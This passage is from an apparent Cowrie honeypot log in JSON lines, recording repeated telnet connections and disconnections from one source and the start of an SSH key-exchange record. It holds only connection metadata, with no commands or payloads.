{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45908,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bfcd8eb55c6","protocol":"telnet","message":"New connection: 69.6.196.124:45908 (159.203.135.109:23) [session: 7bfcd8eb55c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:18.005026Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":49286,"dst_ip":"10.17.0.5","dst_port":23,"session":"c04b3d77ba28","protocol":"telnet","message":"New connection: 185.53.58.141:49286 (10.17.0.5:23) [session: c04b3d77ba28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:18.033727Z"}
{"eventid":"cowrie.session.closed","duration":30.40549349784851,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:18.263942Z","src_ip":"69.6.196.124","session":"f3e3c827f932","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.196868658065796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:18.433140Z","src_ip":"69.6.196.124","session":"a73344111d75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45904,"dst_ip":"159.203.135.109","dst_port":23,"session":"09dc7a6f9b6a","protocol":"telnet","message":"New connection: 69.6.196.124:45904 (159.203.135.109:23) [session: 09dc7a6f9b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:18.830203Z"}
{"eventid":"cowrie.session.closed","duration":31.41193675994873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:18.876339Z","src_ip":"69.6.196.124","session":"97fad81668b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.698731184005737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:18.975219Z","src_ip":"69.6.196.124","session":"643c4dc426ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.104393005371094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:19.350958Z","src_ip":"69.6.196.124","session":"3d2c7b6cce8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45922,"dst_ip":"159.203.135.109","dst_port":23,"session":"5606a937d938","protocol":"telnet","message":"New connection: 69.6.196.124:45922 (159.203.135.109:23) [session: 5606a937d938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:19.469914Z"}
{"eventid":"cowrie.session.closed","duration":31.756609439849854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:19.970165Z","src_ip":"69.6.196.124","session":"e2d7d578b82e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54588,"dst_ip":"159.203.135.109","dst_port":23,"session":"12066a386629","protocol":"telnet","message":"New connection: 69.6.196.124:54588 (159.203.135.109:23) [session: 12066a386629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:20.232395Z"}
{"eventid":"cowrie.session.closed","duration":30.863275051116943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:20.475431Z","src_ip":"69.6.196.124","session":"c54a9f0579f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":45936,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6c67e233f72","protocol":"telnet","message":"New connection: 69.6.196.124:45936 (159.203.135.109:23) [session: d6c67e233f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:20.558581Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54604,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac09cdfa0b52","protocol":"telnet","message":"New connection: 69.6.196.124:54604 (159.203.135.109:23) [session: ac09cdfa0b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:20.954210Z"}
{"eventid":"cowrie.session.closed","duration":31.124817609786987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:21.097599Z","src_ip":"69.6.196.124","session":"1b3d239ebf6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11453366279602,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:21.238966Z","src_ip":"69.6.196.124","session":"4e1ec47bc49e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128427982330322,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:21.332948Z","src_ip":"69.6.196.124","session":"01316488dd4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.508103132247925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:21.398608Z","src_ip":"69.6.196.124","session":"33b8e195d54c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.482362031936646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:21.485114Z","src_ip":"69.6.196.124","session":"cde6b1092f78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17174458503723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:21.588879Z","src_ip":"69.6.196.124","session":"d67fe6b7bd77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72250747680664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:21.695992Z","src_ip":"69.6.196.124","session":"542ae3b817eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.879724264144897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:21.700952Z","src_ip":"69.6.196.124","session":"0759fcaa8d95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1737380027771,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:21.720812Z","src_ip":"69.6.196.124","session":"f1a39c9a9534","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54594,"dst_ip":"159.203.135.109","dst_port":23,"session":"39fc918a714d","protocol":"telnet","message":"New connection: 69.6.196.124:54594 (159.203.135.109:23) [session: 39fc918a714d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:21.901994Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54610,"dst_ip":"159.203.135.109","dst_port":23,"session":"b53b15a0a9da","protocol":"telnet","message":"New connection: 69.6.196.124:54610 (159.203.135.109:23) [session: b53b15a0a9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:21.994751Z"}
{"eventid":"cowrie.session.closed","duration":31.081342697143555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:22.263121Z","src_ip":"69.6.196.124","session":"5ccc4a02b49d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.928762912750244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:22.321312Z","src_ip":"69.6.196.124","session":"93dd11ef2c99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.66374087333679,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:22.325937Z","src_ip":"69.6.196.124","session":"4672e6546f0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.707932710647583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:22.446174Z","src_ip":"69.6.196.124","session":"99564778accf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54618,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e6098fd221d","protocol":"telnet","message":"New connection: 69.6.196.124:54618 (159.203.135.109:23) [session: 8e6098fd221d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:22.759068Z"}
{"eventid":"cowrie.session.closed","duration":31.598262786865234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:22.909697Z","src_ip":"69.6.196.124","session":"2d7722b1d99f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.84895896911621,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:23.274644Z","src_ip":"69.6.196.124","session":"cca0cfb23dca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39460,"dst_ip":"159.203.135.109","dst_port":23,"session":"238a68d771d0","protocol":"telnet","message":"New connection: 69.6.196.124:39460 (159.203.135.109:23) [session: 238a68d771d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:23.675588Z"}
{"eventid":"cowrie.session.closed","duration":0.0046329498291015625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:23.680107Z","src_ip":"69.6.196.124","session":"238a68d771d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.940948009490967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:24.364008Z","src_ip":"69.6.196.124","session":"844bd20ad6d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.84819173812866,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:24.514619Z","src_ip":"69.6.196.124","session":"05bba8d00b07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54626,"dst_ip":"159.203.135.109","dst_port":23,"session":"183cd8d740ac","protocol":"telnet","message":"New connection: 69.6.196.124:54626 (159.203.135.109:23) [session: 183cd8d740ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:24.527107Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54640,"dst_ip":"159.203.135.109","dst_port":23,"session":"90dc49ed902c","protocol":"telnet","message":"New connection: 69.6.196.124:54640 (159.203.135.109:23) [session: 90dc49ed902c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:24.982325Z"}
{"eventid":"cowrie.session.closed","duration":31.237815856933594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:25.209118Z","src_ip":"69.6.196.124","session":"04d012174123","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.569217205047607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:25.371344Z","src_ip":"69.6.196.124","session":"cb4efcfe8216","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9948627948761,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:25.401381Z","src_ip":"69.6.196.124","session":"818aaa1b7175","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54654,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9f3cd28c749","protocol":"telnet","message":"New connection: 69.6.196.124:54654 (159.203.135.109:23) [session: f9f3cd28c749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:25.698776Z"}
{"eventid":"cowrie.session.closed","duration":31.148561000823975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:25.853021Z","src_ip":"69.6.196.124","session":"baa45daf964e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12673783302307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:25.960802Z","src_ip":"69.6.196.124","session":"77681e8b5a36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28921890258789,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:26.334080Z","src_ip":"69.6.196.124","session":"a8b5abdd8ce6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96247100830078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:26.349399Z","src_ip":"69.6.196.124","session":"87a664cbb7fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.5402569770813,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:26.500898Z","src_ip":"69.6.196.124","session":"5b62db1f4719","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54658,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c1a13c55112","protocol":"telnet","message":"New connection: 69.6.196.124:54658 (159.203.135.109:23) [session: 9c1a13c55112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:27.036802Z"}
{"eventid":"cowrie.session.closed","duration":30.773993492126465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:27.392384Z","src_ip":"69.6.196.124","session":"93bb1d3aa494","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.74160075187683,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:27.473340Z","src_ip":"69.6.196.124","session":"ec5990b9e343","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54668,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed0e10412b2e","protocol":"telnet","message":"New connection: 69.6.196.124:54668 (159.203.135.109:23) [session: ed0e10412b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:28.231187Z"}
{"eventid":"cowrie.session.closed","duration":30.777294158935547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:28.408982Z","src_ip":"69.6.196.124","session":"07f51cfc4c2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.457106351852417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:28.610684Z","src_ip":"69.6.196.124","session":"a17f2f369be6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41928005218506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:28.625953Z","src_ip":"69.6.196.124","session":"f84f76806fb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11544370651245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:29.180056Z","src_ip":"69.6.196.124","session":"81e72b453f62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44467854499817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:29.274236Z","src_ip":"69.6.196.124","session":"9b5a7aab6db5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69516158103943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:29.428770Z","src_ip":"69.6.196.124","session":"ef00cfbd8411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.536888122558594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:29.525192Z","src_ip":"69.6.196.124","session":"901b86e2977d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54672,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a16792aee61","protocol":"telnet","message":"New connection: 69.6.196.124:54672 (159.203.135.109:23) [session: 0a16792aee61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:29.621418Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57092,"dst_ip":"159.203.135.109","dst_port":23,"session":"632404e797c5","protocol":"telnet","message":"New connection: 69.6.196.124:57092 (159.203.135.109:23) [session: 632404e797c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:29.813050Z"}
{"eventid":"cowrie.session.closed","duration":31.820502281188965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:29.892842Z","src_ip":"69.6.196.124","session":"350dd3ee2aae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.736114740371704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:30.533749Z","src_ip":"69.6.196.124","session":"481d16092a18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58299493789673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:30.852325Z","src_ip":"69.6.196.124","session":"97fd2a584855","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.945412397384644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:30.996564Z","src_ip":"185.53.58.141","session":"311be6c752fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57108,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9cfabdb3496","protocol":"telnet","message":"New connection: 69.6.196.124:57108 (159.203.135.109:23) [session: b9cfabdb3496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:31.309531Z"}
{"eventid":"cowrie.session.closed","duration":31.07415795326233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:32.073872Z","src_ip":"69.6.196.124","session":"ab9845241c01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.168381214141846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:32.297983Z","src_ip":"69.6.196.124","session":"2d2884e8ffde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.467791318893433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:32.338798Z","src_ip":"69.6.196.124","session":"7e4813dfdf51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57110,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c95fce90b2f","protocol":"telnet","message":"New connection: 69.6.196.124:57110 (159.203.135.109:23) [session: 9c95fce90b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:32.960346Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57122,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5659721c9a9","protocol":"telnet","message":"New connection: 69.6.196.124:57122 (159.203.135.109:23) [session: a5659721c9a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:33.195743Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57138,"dst_ip":"159.203.135.109","dst_port":23,"session":"3491d947cf01","protocol":"telnet","message":"New connection: 69.6.196.124:57138 (159.203.135.109:23) [session: 3491d947cf01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:33.400101Z"}
{"eventid":"cowrie.session.closed","duration":31.102482318878174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:33.416751Z","src_ip":"69.6.196.124","session":"145f7489acd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13135552406311,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:33.574682Z","src_ip":"69.6.196.124","session":"50ab24f984ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.247411489486694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:34.275449Z","src_ip":"69.6.196.124","session":"aaeb2ecf961d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98277258872986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:34.449812Z","src_ip":"69.6.196.124","session":"43023c1f6c8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.237740993499756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:35.317069Z","src_ip":"69.6.196.124","session":"3179b059bc99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57160,"dst_ip":"159.203.135.109","dst_port":23,"session":"406f64bb9a4c","protocol":"telnet","message":"New connection: 69.6.196.124:57160 (159.203.135.109:23) [session: 406f64bb9a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:35.343206Z"}
{"eventid":"cowrie.session.closed","duration":31.11977243423462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:35.420967Z","src_ip":"69.6.196.124","session":"8e62324bf701","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57150,"dst_ip":"159.203.135.109","dst_port":23,"session":"7466340561c8","protocol":"telnet","message":"New connection: 69.6.196.124:57150 (159.203.135.109:23) [session: 7466340561c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:35.691643Z"}
{"eventid":"cowrie.session.closed","duration":30.4467556476593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:36.277013Z","src_ip":"69.6.196.124","session":"8892d3bc69aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57162,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc0356635980","protocol":"telnet","message":"New connection: 69.6.196.124:57162 (159.203.135.109:23) [session: dc0356635980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:36.735188Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":49664,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e25638745a2","protocol":"ssh","message":"New connection: 41.63.62.103:49664 (10.17.0.5:22) [session: 2e25638745a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:36.819365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:36.826167Z","src_ip":"41.63.62.103","session":"2e25638745a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","d